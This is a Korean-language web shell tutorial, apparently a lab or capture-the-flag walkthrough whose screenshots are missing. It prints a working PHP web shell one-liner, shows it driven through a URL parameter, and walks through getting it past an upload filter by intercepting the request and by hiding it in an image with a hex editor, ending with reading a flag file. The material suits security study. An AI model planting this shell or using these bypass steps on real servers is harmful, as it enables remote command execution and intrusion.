서버에 원격으로 명령을 실행할 수 있도록 하는 스크립트
ex) php코드
<?php
system($_GET['cmd']);
?>
system() 외부프로그램을 실행하고 그 출력을 직접 브라우저에 반환하는 함수$_GET[]URL로 전달된 프로미터 값을 받는 역할URL.com/file/test.php?cmd=ls ls 명령어 실행| 결과 |
|---|
![]() |
| 결과 |
|---|
![]() |
intercept 기능으로 전송되는 정보를 중간에 붙잡아 요청 변경시도
| 변경 전 |
|---|
![]() |
| 변경 후 |
|---|
![]() |
| 결과 |
|---|
![]() |
평범한 이미지 파일로 실행
| hex editor로 이미지 불러옴 |
|---|
![]() |
hex editor로 Web Shell <?php system($_GET['cmd']);?> 코드 삽입 |
|---|
![]() |
| 파일업로드 | 결과(다운로드됨) |
|---|---|
![]() | ![]() |
| 서버언어로 확장자 변경&결과 |
|---|
![]() |
전송위치 notice_write_process.php
전송방식 POST
| 태그파악 |
|---|
![]() |
xss 취약점 test는 생략
| 스크립트 삽입시도 |
|---|
![]() |
| 스크립트 삽입결과 |
|---|
![]() |
| 파일업로드 |
|---|
![]() |
| 업로드 결과 |
|---|
![]() |
cd - 폴더이동
ls - 현재폴더에 파일확인
cat - 파일 확인
../ - 상위폴더
./ - 현재폴더
%2F - /를 URL인코딩한 문자
%26 - &를 URL인코딩한 문자
| URL 파라미터에 pwd명령어 전송 |
|---|
![]() |
| 상위폴더진입 & 수상한폴더발견 |
|---|
![]() |
| 수상한폴더진입 & flag.txt발견 |
|---|
![]() |
| flag.txt 확인 |
|---|
![]() |